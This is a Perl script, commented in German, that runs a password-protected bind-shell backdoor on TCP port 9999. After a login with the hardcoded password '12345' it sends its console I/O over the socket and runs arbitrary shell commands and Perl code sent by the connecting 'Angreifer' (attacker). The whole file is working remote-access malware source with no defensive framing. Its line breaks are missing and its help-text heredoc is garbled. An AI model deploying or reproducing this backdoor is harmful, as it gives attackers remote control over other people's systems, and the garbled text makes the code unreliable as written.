#!/usr/bin/perl use strict; use warnings; use IO::Socket; my $passwd='12345'; $SIG{INT} = sub { print("Killed!"); exit(); }; $SIG{CHLD} = 'IGNORE'; my $socket = new IO::Socket::INET( LocalHost => "localhost", LocalPort => 9999, Proto => 'tcp', Listen => SOMAXCONN, Reuse => 1 ) || die("Kann den Socket nicht initiallisieren! $!"); while(1){ my $new_socket = $socket->accept(); print "Angreifer hat sich verbunden!\n"; terminal($new_socket) if(fork()==0); close($new_socket); } close($socket); exit(); sub terminal { my $socket=shift; # Login erforderlich: my $pass_cnt=10; while($pass_cnt) { print $socket "Password:\n"; my $line=<$socket>; if($line=~/^\s*$passwd\s*$/s) { $pass_cnt=1; last(); } $pass_cnt--; } unless($pass_cnt) { print $socket "PASSWORD WRONG!\n"; exit(); } print "Angreifer hat sich eingeloggt!\n"; # STDOUT STDERR STDIN umleiten open(my $out, ">&STDOUT") or exit(); close(STDOUT) or exit(); close(STDERR) or exit(); close(STDIN) or exit(); *STDOUT=\*$socket; *STDERR=\*$socket; *STDIN=\*$socket; print "Login OK\n"; my $buffer=''; while(my $line=<$socket>) { $line=~y/\x0D//d; $line=~s/\x0A+$//s; #------------------------------------------------------------------- # echo print "$1\n" if($line=~/^echo:\s*(.*)\s*$/); # ende mit "exit" if($line=~/^exit$/) { print "CONNECTION CLOSE\n"; close($socket); last(); } # hilfe if($line=~/^help$/) { print < ende help => dieser text echo: => echo von exec: => programm starten ist der Programmname mit Optionen write: => perlcode in den puffer schreiben markiert das Ende des Code clr => perlcodepuffer leeren run => perlcode im puffer ausführen cmd: => perlcode direkt ausführen ist der Perlcode EOH } #------------------------------------------------------------------- #perl programm puffer löschen $buffer='' if($line=~/^clr$/s); #perl programm puffer ausführen if($line=~/^run$/s) { eval($buffer); print "ERROR: $@\n" if($@); } #perl programm puffer füllen if($line=~/^write:(.+)$/s) { my $end=$1; my $line=''; while($line!~/^$end/s) { $line=<$socket>; $buffer.=$line; } } # beliebige Perlbefehle ausführen if($line=~/^cmd:\s*(.+)\s*$/s) { eval($1); print "ERROR: $@\n" if($@); } #------------------------------------------------------------------- # beliebiges Programm starten print `$1` if($line=~/^exec:\s*(.+)\s*$/s); } print $out "Angreifer hat die Verbindung beendet!\n"; exit(); }